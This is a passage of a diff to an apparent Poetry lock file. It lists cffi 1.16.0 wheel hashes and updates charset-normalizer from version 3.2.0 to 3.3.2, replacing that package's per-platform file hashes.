+ {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c"},
+ {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b"},
+ {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324"},
+ {file = "cffi-1.16.0-cp38-cp38-win32.whl", hash = "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a"},
+ {file = "cffi-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36"},
+ {file = "cffi-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed"},
+ {file = "cffi-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2"},
+ {file = "cffi-1.16.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872"},
+ {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8"},
+ {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f"},
+ {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4"},
+ {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098"},
+ {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000"},
+ {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe"},
+ {file = "cffi-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4"},
+ {file = "cffi-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8"},
+ {file = "cffi-1.16.0.tar.gz", hash = "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"},
]
[package.dependencies]
@@ -419,86 +411,101 @@ pycparser = "*"
[[package]]
name = "charset-normalizer"
-version = "3.2.0"
+version = "3.3.2"
description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
optional = false
python-versions = ">=3.7.0"
files = [
- {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"},
- {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"},
- {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"},
- {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"},
- {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"},
- {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"},
- {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"},
+ {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"},
+ {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"},
+ {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"},
+ {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"},
+ {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"},
